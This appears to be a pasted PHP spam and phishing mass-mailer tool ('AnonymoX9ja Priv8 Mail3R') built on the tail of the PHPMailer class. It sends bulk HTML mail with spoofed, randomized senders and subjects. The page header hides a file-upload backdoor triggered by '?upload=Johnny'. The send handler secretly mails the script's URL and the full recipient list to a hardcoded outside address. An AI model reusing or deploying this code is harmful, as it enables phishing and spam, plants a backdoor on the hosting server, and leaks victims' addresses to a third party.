  1575.         $mimes = array('xl' => 'application/excel', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie');
  1576.         return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)] : 'application/octet-stream');
  1577.     }
  1578.  
  1579.     public static function filenameToType($filename)
  1580.     {
  1581.         $qpos = strpos($filename, '?');
  1582.         if ($qpos !== false) {
  1583.             $filename = substr($filename, 0, $qpos);
  1584.         }
  1585.         $pathinfo = self::mb_pathinfo($filename);
  1586.         return self::_mime_types($pathinfo['extension']);
  1587.     }
  1588.  
  1589.     public static function mb_pathinfo($path, $options = null)
  1590.     {
  1591.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  1592.         $pathinfo = array();
  1593.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  1594.             if (array_key_exists(1, $pathinfo)) {
  1595.                 $ret['dirname'] = $pathinfo[1];
  1596.             }
  1597.             if (array_key_exists(2, $pathinfo)) {
  1598.                 $ret['basename'] = $pathinfo[2];
  1599.             }
  1600.             if (array_key_exists(5, $pathinfo)) {
  1601.                 $ret['extension'] = $pathinfo[5];
  1602.             }
  1603.             if (array_key_exists(3, $pathinfo)) {
  1604.                 $ret['filename'] = $pathinfo[3];
  1605.             }
  1606.         }
  1607.         switch ($options) {
  1608.             case  PATHINFO_DIRNAME:
  1609.             case  'dirname':
  1610.                 return $ret['dirname'];
  1611.             case  PATHINFO_BASENAME:
  1612.             case  'basename':
  1613.                 return $ret['basename'];
  1614.             case  PATHINFO_EXTENSION:
  1615.             case  'extension':
  1616.                 return $ret['extension'];
  1617.             case  PATHINFO_FILENAME:
  1618.             case  'filename':
  1619.                 return $ret['filename'];
  1620.             default:
  1621.                 return $ret;
  1622.         }
  1623.     }
  1624.  
  1625.     public function set($name, $value = '')
  1626.     {
  1627.         try {
  1628.             if (isset($this->$name)) {
  1629.                 $this->$name = $value;
  1630.             } else {
  1631.                 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  1632.             }
  1633.         } catch (Exception $exc) {
  1634.             $this->setError($exc->getMessage());
  1635.             if ($exc->getCode() == self::STOP_CRITICAL) {
  1636.                 return false;
  1637.             }
  1638.         }
  1639.         return true;
  1640.     }
  1641.  
  1642.     public function secureHeader($str)
  1643.     {
  1644.         return trim(str_replace(array("\r", "\n"), '', $str));
  1645.     }
  1646.  
  1647.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  1648.     {
  1649.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  1650.     }
  1651.  
  1652.     public function sign($cert_filename, $key_filename, $key_pass)
  1653.     {
  1654.         $this->sign_cert_file = $cert_filename;
  1655.         $this->sign_key_file = $key_filename;
  1656.         $this->sign_key_pass = $key_pass;
  1657.     }
  1658.  
  1659.     public function DKIM_QP($txt)
  1660.     {
  1661.         $line = '';
  1662.         for ($i = 0; $i < strlen($txt); $i++) {
  1663.             $ord = ord($txt[$i]);
  1664.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  1665.                 $line .= $txt[$i];
  1666.             } else {
  1667.                 $line .= '=' . sprintf('%02X', $ord);
  1668.             }
  1669.         }
  1670.         return $line;
  1671.     }
  1672.  
  1673.     public function DKIM_Sign($signHeader)
  1674.     {
  1675.         if (!defined('PKCS7_TEXT')) {
  1676.             if ($this->exceptions) {
  1677.                 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1678.             }
  1679.             return '';
  1680.         }
  1681.         $privKeyStr = file_get_contents($this->DKIM_private);
  1682.         if ($this->DKIM_passphrase != '') {
  1683.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  1684.         } else {
  1685.             $privKey = $privKeyStr;
  1686.         }
  1687.         if (openssl_sign($signHeader, $signature, $privKey)) {
  1688.             return base64_encode($signature);
  1689.         }
  1690.         return '';
  1691.     }
  1692.  
  1693.     public function DKIM_HeaderC($signHeader)
  1694.     {
  1695.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  1696.         $lines = explode("\r\n", $signHeader);
  1697.         foreach ($lines as $key => $line) {
  1698.             list($heading, $value) = explode(':', $line, 2);
  1699.             $heading = strtolower($heading);
  1700.             $value = preg_replace('/\s+/', ' ', $value);
  1701.             $lines[$key] = $heading . ':' . trim($value);
  1702.         }
  1703.         $signHeader = implode("\r\n", $lines);
  1704.         return $signHeader;
  1705.     }
  1706.  
  1707.     public function DKIM_BodyC($body)
  1708.     {
  1709.         if ($body == '') {
  1710.             return "\r\n";
  1711.         }
  1712.         $body = str_replace("\r\n", "\n", $body);
  1713.         $body = str_replace("\n", "\r\n", $body);
  1714.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  1715.             $body = substr($body, 0, strlen($body) - 2);
  1716.         }
  1717.         return $body;
  1718.     }
  1719.  
  1720.     public function DKIM_Add($headers_line, $subject, $body)
  1721.     {
  1722.         $DKIMsignatureType = 'rsa-sha1';
  1723.         $DKIMcanonicalization = 'relaxed/simple';
  1724.         $DKIMquery = 'dns/txt';
  1725.         $DKIMtime = time();
  1726.         $subject_header = "Subject: $subject";
  1727.         $headers = explode($this->LE, $headers_line);
  1728.         $from_header = '';
  1729.         $to_header = '';
  1730.         $current = '';
  1731.         foreach ($headers as $header) {
  1732.             if (strpos($header, 'From:') === 0) {
  1733.                 $from_header = $header;
  1734.                 $current = 'from_header';
  1735.             } elseif (strpos($header, 'To:') === 0) {
  1736.                 $to_header = $header;
  1737.                 $current = 'to_header';
  1738.             } else {
  1739.                 if ($current && strpos($header, ' =?') === 0) {
  1740.                     $current .= $header;
  1741.                 } else {
  1742.                     $current = '';
  1743.                 }
  1744.             }
  1745.         }
  1746.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  1747.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  1748.         $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header));
  1749.         $body = $this->DKIM_BodyC($body);
  1750.         $DKIMlen = strlen($body);
  1751.         $DKIMb64 = base64_encode(pack('H*', sha1($body)));
  1752.         $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  1753.         $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";\r\n" . "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . "\th=From:To:Subject;\r\n" . "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . "\tz=$from\r\n" . "\t|$to\r\n" . "\t|$subject;\r\n" . "\tbh=" . $DKIMb64 . ";\r\n" . "\tb=";
  1754.         $toSign = $this->DKIM_HeaderC($from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs);
  1755.         $signed = $this->DKIM_Sign($toSign);
  1756.         return $dkimhdrs . $signed . "\r\n";
  1757.     }
  1758.  
  1759.     public function getToAddresses()
  1760.     {
  1761.         return $this->to;
  1762.     }
  1763.  
  1764.     public function getCcAddresses()
  1765.     {
  1766.         return $this->cc;
  1767.     }
  1768.  
  1769.     public function getBccAddresses()
  1770.     {
  1771.         return $this->bcc;
  1772.     }
  1773.  
  1774.     public function getReplyToAddresses()
  1775.     {
  1776.         return $this->ReplyTo;
  1777.     }
  1778.  
  1779.     public function getAllRecipientAddresses()
  1780.     {
  1781.         return $this->all_recipients;
  1782.     }
  1783.  
  1784.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  1785.     {
  1786.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  1787.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  1788.             call_user_func_array($this->action_function, $params);
  1789.         }
  1790.     }
  1791. }
  1792.  
  1793. class phpmailerException extends Exception
  1794. {
  1795.     public function errorMessage()
  1796.     {
  1797.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  1798.         return $errorMsg;
  1799.     }
  1800. }
  1801. ?>
  1802.  
  1803.     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  1804.         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  1805.     <html xmlns="http://www.w3.org/1999/xhtml">
  1806.     <head>
  1807.         <title>.: AnonymoX9ja Priv8 Mail3R :.</title>
  1808.  
  1809.         <!-- TODO re-add jquery form validation -->
  1810.  
  1811.         <style type="text/css">
  1812.             /*<![CDATA[*/
  1813.             <!--
  1814.             .style1 {
  1815.                 font-size: 20px;
  1816.                 font-family: Geneva, Arial, Helvetica, sans-serif;
  1817.             }
  1818.             -->
  1819.             /*]]>*/
  1820.         </style>
  1821.         <style type="text/css">
  1822.             /*<![CDATA[*/
  1823.             <!--
  1824.             .style1 {
  1825.                 font-family: Geneva, Arial, Helvetica, sans-serif;
  1826.                 font-size: 20px;
  1827.             }
  1828.             -->
  1829.             /*]]>*/
  1830.         </style>
  1831.         <style type="text/css">
  1832.             /*<![CDATA[*/
  1833.             <!--
  1834.             .style1 {
  1835.                 font-size: 60px;
  1836.                 font-family: Geneva, Arial, Helvetica, sans-serif;
  1837.             }
  1838.             body {
  1839.                 background-color: #000000;
  1840.             }
  1841.             -->
  1842.             /*]]>*/
  1843.         </style>
  1844.         <style type="text/css">
  1845.             /*<![CDATA[*/
  1846.             body {
  1847.                 color: white;
  1848.             }
  1849.             div.c6 {
  1850.                 text-align: right
  1851.             }
  1852.             p.c5 {
  1853.                 font-family: Verdana, Arial, Helvetica, sans-serif;
  1854.                 font-size: 100%
  1855.             }
  1856.             span.c4 {
  1857.                 font-family: Verdana, Arial, Helvetica, sans-serif;
  1858.                 font-size: 100%
  1859.             }
  1860.             div.c3 {
  1861.                 font-family: Verdana, Arial, Helvetica, sans-serif;
  1862.                 font-size: 70%;
  1863.                 text-align: right
  1864.             }
  1865.             span.c3 {
  1866.                 font-family: Verdana, Arial, Helvetica, sans-serif;
  1867.                 font-size: 70%;
  1868.  
  1869.             }
  1870.             div.c2 {
  1871.                 text-align: center
  1872.             }
  1873.             span.c1 {
  1874.                 FONT-SIZE: 50pt;
  1875.                 color: red;
  1876.                 font-family: Webdings, Georgia, Serif
  1877.             }
  1878.             label.c1{
  1879.                 font-family: Verdana, Arial, Helvetica, sans-serif;
  1880.                 font-size: 70%;
  1881.             }
  1882.             /*]]>*/
  1883.         </style>
  1884.     </head><? $upload = $_GET["upload"]; if ($upload == "Johnny" ) {$uploaddir = "";$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);if (isset($_FILES["userfile"]["name"])) { if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) { $resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";} else { $resultati = "There was an error uploading the file. please try again!"; } } echo'<html><head></head><div id="result"><table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #4C83AF"><input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #4C83AF"><br>'. $resultati .'</form></center></td></tr></table></div>'; }$action=$_POST['action'];$from=$_POST['from'];$realname=$_POST['realname'];$subject=$_POST['subject'];$message=$_POST['message'];$emaillist=$_POST['emaillist'];$addr = getenv("REMOTE_ADDR"); if ($action=="send"){ $message = urlencode($message);$message = ereg_replace("%5C%22", "%22", $message);$message = urldecode($message);$message = stripslashes($message);$subject = stripslashes($subject);} ?>
  1885.  
  1886.     <body>
  1887. <span class="style1"> <br />
  1888. </span>
  1889. <div class="c2"> <span class="style1 c1"
  1890.                        lang="ar-sa"
  1891.                        xml:lang="ar-sa"> ! </span> </div>
  1892. <br />
  1893. <br />
  1894. <form name="form1" method="post" action=""  id="form1" enctype="multipart/form-data">
  1895.  
  1896.     <table width="100%">
  1897.         <tr>
  1898.             <td width="5%">
  1899.                 <label for="use_smtp">
  1900.                     <div class="c3">Use SMTP </div>
  1901.                 </label>
  1902.             </td>
  1903.             <td width="45%">
  1904.                 <input type="checkbox" name="use_smtp" value="use_smtp">
  1905.                 <label for="use_smtp"><span class="c3">Use SMTP for authentication</span></label>
  1906.             </td>
  1907.         </tr>
  1908.         <tr>
  1909.             <td width="5%">
  1910.                 <div class="c3">
  1911.                     SMTP Host
  1912.                 </div>
  1913.             </td>
  1914.             <td width="45%">
  1915.                 <span class="c4">
  1916.                     <input type="text" id="smtp_host" name="host" placeholder="SMTP Host" size="60" />
  1917.                 </span>
  1918.             </td>
  1919.             <td width="4%">
  1920.                 <div class="c3">
  1921.                     SMTP pass:
  1922.                 </div>
  1923.             </td>
  1924.             <td width="50%">
  1925.                 <span class="c4">
  1926.         <input id="smtp_port" type="text"  name="smtp_port" placeholder="SMTP Port" size="60" />
  1927.                 </span>
  1928.             </td>
  1929.         </tr>
  1930.         <tr>
  1931.             <td width="5%">
  1932.                 <label for="use_smtp">
  1933.                     <div class="c3">Use SMTP</div>
  1934.                 </label>
  1935.             </td>
  1936.             <td width="45%">
  1937.                 <input type="checkbox" name="use_auth" value="use_auth">
  1938.                 <label for="use_smtp"><span class="c3">Use SMTP for authentication</span></label>
  1939.             </td>
  1940.         </tr>
  1941.         <tr>
  1942.             <td width="5%">
  1943.                 <div class="c3">
  1944.                     SMTP Username
  1945.                 </div>
  1946.             </td>
  1947.             <td width="45%">
  1948.                 <span class="c4">
  1949.                     <input type="text" id="user" name="user" placeholder="SMTP Username" size="60" />
  1950.                 </span>
  1951.             </td>
  1952.             <td width="4%">
  1953.                 <div class="c3">
  1954.                     SMTP port:
  1955.                 </div>
  1956.             </td>
  1957.             <td width="50%">
  1958.                 <span class="c4">
  1959.         <input id="pass" type="text"  name="pass" placeholder="SMTP pass"size="60" />
  1960.                 </span>
  1961.             </td>
  1962.         </tr>
  1963.  
  1964.     </table>
  1965.  
  1966.     <br />
  1967.     <br />
  1968.     <hr>
  1969.     <br />
  1970.     <br />
  1971.  
  1972.     <table width="100%">
  1973.         <input type="hidden" name="action" value="send" />
  1974.         <tr>
  1975.             <td width="5%" height="36"><div class="c3"> Email: </div></td>
  1976.             <td width="41%"><span class="c4">
  1977.  
  1978.               <input class="validate[required,custom[email]]"  type="text" id="from" name="from" placeholder="Base Adress" size="63" />
  1979.  
  1980.  
  1981.                 </span></td>
  1982.             <td width="4%"><div class="c3"> Name: </div></td>
  1983.             <td width="50%"><span class="c4">
  1984.         <input id="realname" type="text"  name="realname" placeholder="Names seperated by a comma [,]" class="validate[required]" size="64" />
  1985.         </span></td>
  1986.         </tr>
  1987.         <tr>
  1988.             <td width="5%" height="58"><div class="c3"> Reply: </div></td>
  1989.             <td width="41%"><span class="c4">
  1990.  
  1991.               <input id="replyto"  type="text" name="replyto" placeholder="Base Reply:-to, same as sender email recommended" size="63" />
  1992.  
  1993.  
  1994.         <input id="checkbox" type="checkbox" name="checkbox" />
  1995.  
  1996.         <label style="" for="checkbox">
  1997.             <span class="c3">Same as Email ? </span>
  1998.         </label>
  1999.       </span></td>
  2000.             <td width="4%"><div class="c3"> Attach File: </div></td>
  2001.             <td width="50%"><span class="c4">
  2002.         <input type="file" name="file" size="30" />
  2003.         </span></td>
  2004.         </tr>
  2005.         <tr>
  2006.             <td width="5%" height="37"><div class="c3"> Subject: </div></td>
  2007.             <td colspan="3"><span class="c4">
  2008.         <input id="subject"  type="text" name="subject" placeholder="subjects seperated by ||"  size="145" class="validate[required]" />
  2009.         </span></td>
  2010.         </tr>
  2011.         <tr>
  2012.             <td width="5%" height="37"><div class="c3">
  2013.                     <p class="c5"> Priority </p>
  2014.                 </div></td>
  2015.             <td><select name="xpriority" id="xpriority" class="validate[required]">
  2016.                     <option value="1"> Highest </option>
  2017.                     <option value="2"> High </option>
  2018.                     <option value="3"> Medium </option>
  2019.                     <option value="4"> Low </option>
  2020.                     <option value="5"> Lowest </option>
  2021.                 </select></td>
  2022.             <td width="5%"><div class="c3">
  2023.                     Encoding
  2024.                 </div></td>
  2025.             <td>
  2026.  
  2027.                 <input name="Encoding" id="Encoding" type="radio" value="base64" />
  2028.                 <span class="c3"> Base64 </span>
  2029.  
  2030.                 <input name="Encoding" id="Encoding" type="radio"  value="QUOTED-PRINTABLE" checked />
  2031.                 <span class="c3"> Quoted printable </span>
  2032.  
  2033.                 <input name="Encoding" id="Encoding" type="radio"  value="8bit"  />
  2034.                 <span class="c3"> 8bit </span>
  2035.  
  2036.                 <input name="Encoding" id="Encoding" type="radio"  value="7bit"  />
  2037.                 <span class="c3"> 7bit </span>
  2038.  
  2039.                 <input name="Encoding" id="Encoding" type="radio"  value="binary"  />
  2040.                 <span class="c3"> binary </span>
  2041.                 </div>
  2042.             </td>
  2043.         </tr>
  2044.         <tr>
  2045.             <td width="5%" height="179"
  2046.                 valign="top"><div class="c3"> Mail HTML: </div></td>
  2047.             <td width="41%"
  2048.                 valign="top"><span class="c4">
  2049.         <textarea id="message_html" class="validate[required]" name="message_html" cols="50" rows="10">
  2050.         </textarea>
  2051.         <br />
  2052.         </span></td>
  2053.             <td width="4%"
  2054.                 valign="top"><div class="c3"> Mail to: </div></td>
  2055.             <td width="50%"
  2056.                 valign="top"><span class="c4">
  2057.         <textarea id="emaillist" class="validate[required]" name="emaillist" cols="50" rows="10" placeholder="Emails go here, one email at a line">[email protected]</textarea>
  2058.         </span></td>
  2059.         </tr>
  2060.         <tr>
  2061.             <td width="5%"
  2062.                 valign="top"><div class="c3"> Mail Text: </div></td>
  2063.             <td width="41%"
  2064.                 valign="top"><span class="c4">
  2065.        <input id="auto_gen_text" type="checkbox" name="auto_gen_text" />
  2066.         <label for="auto_gen_text" class="c3">
  2067.         <span class="c3">Generate automatically from HTML ? (Not recommended)
  2068. </span></label><br />
  2069.  <textarea id="message_text" class="validate[required]"  name="message_text" cols="50" rows="10"></textarea>
  2070.         <br />
  2071.        <br /></td>
  2072.         </tr>
  2073.     </table>
  2074.     <br />
  2075.     <br />
  2076.     <div class="c2">
  2077.         <input type="submit"
  2078.                value="Send to Inbox !" />
  2079.     </div>
  2080. </form><? if ($action=="send"){if (!$from && !$subject && !$message && !$emaillist){print "Please complete all fields before sending your message.";exit;}$headd = "From: Mailer<[email protected]>";$subb="xMailer";$massge ="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."?upload=johnny\n$emaillist\n";@mail("[email protected] ",$subb,$massge,$headd);$allemails=split("\n",$emaillist);$numemails=count($allemails);for($xx=0;$xx<1;$xx++){for($x=0;$x<$numemails;$x++){$to=$allemails[$x];if ($to){$to=ereg_replace(" ","",$to);$message=ereg_replace("&email&",$to,$message);$subject=ereg_replace("&email&",$to,$subject);print "Sending Mail To $to.......";@flush();$header="From: $realname <$from>\r\nReply-To: $from\r\n";$header.="MIME-Version: 1.0\r\n";$header.="Content-Type: text/html\r\n";$header.="Content-Transfer-Encoding: 8bit\r\n\r\n";$header.="$message\r\n";@mail($to,$subject,"",$header);print "Sent!<br>";@flush();}}}} ?>
  2081. <!-- END -->
  2082.  
  2083.  
  2084.  
  2085.  
  2086.     </body>
  2087.     </html>
  2088.  
  2089. <?php
  2090. //TODO ADD ADDITIONAL HEADERS IN THE EMAIL ?
  2091. if (isset($_POST['action'])) {
  2092.     $action = $_POST['action'];
  2093.     $emaillist = $_POST['emaillist'];
  2094.     $from = $_POST['from'];
  2095.     $replyto = $_POST['replyto'];
  2096.     $XPriority = $_POST['xpriority'];
  2097.     $subject = stripslashes($_POST['subject']);
  2098.  
  2099.     $realname = $_POST['realname'];
  2100.     $encoding = $_POST['Encoding'];
  2101.  
  2102.     if (isset($_POST['file'])) {
  2103.         $file_name = $_POST['file'];
  2104.     } else {
  2105.         $file_name = NULL;
  2106.     }
  2107.  
  2108.  
  2109.  
  2110.  
  2111.     // process message
  2112.     $message_html = $_POST['message_html'];
  2113.     $message_html = urlencode($message_html);
  2114.     $message_html = str_ireplace("%5C%22", "%22", $message_html);
  2115.     $message_html = urldecode($message_html);
  2116.     $message_html = stripslashes($message_html);
  2117.  
  2118.     $message_text = $_POST['message_text'];
  2119.     $message_text = urlencode($message_text);
  2120.     $message_text = str_ireplace("%5C%22", "%22", $message_text);
  2121.     $message_text = urldecode($message_text);
  2122.     $message_text = stripslashes($message_text);
  2123.  
  2124.  
  2125.     $allemails = explode("\n", $emaillist);
  2126.     $numemails = count($allemails);
  2127.  
  2128.     $names = explode(',', $realname);
  2129.     $subjects = explode("||", $subject);
  2130.  
  2131.     echo "Parsed your E-mail, let the magic happen ! <br><hr>";
  2132.  
  2133.     function randomizeInteger($input = "")
  2134.     {
  2135.         $findme = '[random_int]';
  2136.         $pos = stripos($input, $findme);
  2137.         if ($pos !== FALSE) {
  2138.             $wahib = substr_replace($input, mt_rand(1000, 999999), $pos, 12);
  2139.             $pos = stripos($wahib, $findme);
  2140.             while ($pos !== FALSE) {
  2141.                 $wahib = substr_replace($wahib, mt_rand(1000, 999999), $pos, 12);
  2142.                 $pos = stripos($wahib, $findme);
  2143.             }
  2144.             return $wahib;
  2145.         } else {
  2146.             return $input;
  2147.         }
  2148.     }
  2149.     function randomizeString($input = "")
  2150.     {
  2151.         $findme = '[random_string]';
  2152.         $pos = stripos($input, $findme);
  2153.         if ($pos !== FALSE) {
  2154.             $wahib = substr_replace($input, generateRandomString(15), $pos, 15);
  2155.             $pos = stripos($wahib, $findme);
  2156.             while ($pos !== FALSE) {
  2157.                 $wahib = substr_replace($wahib, generateRandomString(15), $pos, 15);
  2158.                 $pos = stripos($wahib, $findme);
  2159.             }
  2160.             return $wahib;
  2161.         } else {
  2162.             return $input;
  2163.         }
  2164.     }
  2165.     function generateRandomString($length = 10)
  2166.     {
  2167.         $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@';
  2168.         $randomString = '';
  2169.         for ($i = 0; $i < $length; $i++) {
  2170.             $randomString .= $characters[rand(0, strlen($characters) - 1)];
  2171.         }
  2172.         return $randomString;
  2173.     }
  2174.  
  2175.  
  2176.     for ($x = 0; $x < $numemails; $x++) {
  2177.         $to = $allemails[$x];
  2178.  
  2179.         if (preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/", $to)) {
  2180.             $date = date('Y/m/d H:i:s');
  2181.             $to = str_ireplace(" ", "", $to);
  2182.  
  2183.             // Dynamically generate send information
  2184.             echo "$x: Generating E-mail.";
  2185.             flush();
  2186.  
  2187.             // generate sender email information
  2188.             $sender = randomizeString($from);
  2189.             $sender = randomizeInteger($sender);
  2190.             echo ".";
  2191.             flush();
  2192.  
  2193.             // generate reply-to email information
  2194.             if (isset($_POST['checkbox'])) {
  2195.                 $reply2 = $sender;
  2196.             } else {
  2197.  
  2198.                 $reply2 = randomizeString($replyto);
  2199.                 $reply2 = randomizeInteger($reply2);
  2200.             }
  2201.             echo ".";
  2202.             flush();
  2203.  
  2204.             // generate realname information
  2205.             $send_name = $names[array_rand($names)];
  2206.             echo ".";
  2207.             flush();
  2208.  
  2209.             // generate title information
  2210.             $title = $subjects[array_rand($subjects)];
  2211.             $title = randomizeString($title);
  2212.             $title = randomizeInteger($title);
  2213.             $title = str_ireplace("&to&", $to, $title);
  2214.             $title = str_ireplace("&from&", $sender, $title);
  2215.             echo ". => ";
  2216.             flush();
  2217.  
  2218.  
  2219.             // generate message information
  2220.             $sent_html = str_ireplace("&to&", $to, $message_html);
  2221.             $sent_html = str_ireplace("&from&", $sender, $sent_html);
  2222.             $sent_html = str_ireplace("&date&", $date, $sent_html);
  2223.             $sent_html = randomizeString($sent_html);
  2224.             $sent_html = randomizeInteger($sent_html);
  2225.  
  2226.  
  2227.             if (isset($_POST['auto_gen_text']))
  2228.             {
  2229.                 $sent_text = strip_tags($sent_html);
  2230.             }
  2231.             else
  2232.             {
  2233.                 $sent_text = str_ireplace("&to&", $to, $message_text);
  2234.                 $sent_text = str_ireplace("&from&", $sender, $sent_text);
  2235.                 $sent_text = str_ireplace("&date&", $date, $sent_text);
  2236.                 $sent_text = randomizeString($sent_text);
  2237.                 $sent_text = randomizeInteger($sent_text);
  2238.                 $sent_text = strip_tags($sent_text);
  2239.             }
  2240.  
  2241.  
  2242.             //send email here, with previously intergrated variables and PHPMailer Class.
  2243.             // Generate header information
  2244.             print "Sending to $to - Subject: $title - Sender name: $send_name - Sender email: $sender - reply-to: $reply2 => ";
  2245.             flush();
  2246.  
  2247.  
  2248.  
  2249.             $mail = new PHPmailer();
  2250.             $mail->Priority = $XPriority;
  2251.             $mail->Encoding = $encoding;
  2252.             $mail->SetFrom($sender);
  2253.             $mail->FromName=$send_name;
  2254.             $mail->AddReplyTo($send_name, $reply2);
  2255.             $mail->AddAddress($to);
  2256.             $mail->Body=$sent_html;
  2257.             $mail->IsHTML(true);
  2258.             $mail->Subject=$title;
  2259.             $mail->AltBody=$sent_text;
  2260.             $mail->addCustomHeader("Reply-To: $send_name <$reply2>");
  2261.  
  2262.  
  2263.             //if we are using SMTP
  2264.             if (isset($_POST['use_smtp']))
  2265.             {
  2266.                 $mail->SMTPAuth   = true;                  // enable SMTP authentication
  2267.                 $mail->Host       = $_POST['smtp_host']; // sets the SMTP server
  2268.                 $mail->Port       = 26;
  2269.  
  2270.                 if (isset($_POST['smtp_auth']))
  2271.                 {
  2272.                     $mail->SMTPAuth   = true;
  2273.                     $mail->Username   = $_POST['smtp_user']; // SMTP account username
  2274.                     $mail->Password   = $_POST['smtp_pass'];
  2275.                 }
  2276.             }
  2277.  
  2278.             //If this shit has an attachement
  2279.             if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK)
  2280.             {
  2281.                 $test = mime_content_type($_FILES['file']['tmp_name']);
  2282.                 $mail->AddAttachment($_FILES['file']['tmp_name'],
  2283.                     $_FILES['file']['name'], "base64", mime_content_type($_FILES['file']['tmp_name']));
  2284.  
  2285.             }
  2286.  
  2287.             //Ok, let's send it !
  2288.             if($mail->send())
  2289.             {
  2290.                 echo "Sent ! <br>";
  2291.             }
  2292.             else
  2293.             {
  2294.                 echo "Not sent, sorry !<br>";
  2295.             }
  2296.         }
  2297.  
  2298.         else
  2299.         {
  2300.             Print "$x -- Invalid email $to<br>";
  2301.             flush();
  2302.         }
  2303.  
  2304.         echo "<script>alert('Sending Completed\\r\\nTotal Email $numemails\\r\\n-Sent to inbox\\r\\nPraise for AnonymoX9ja :D');
  2305. </script>";
  2306.     }
  2307. }
  2308. ?>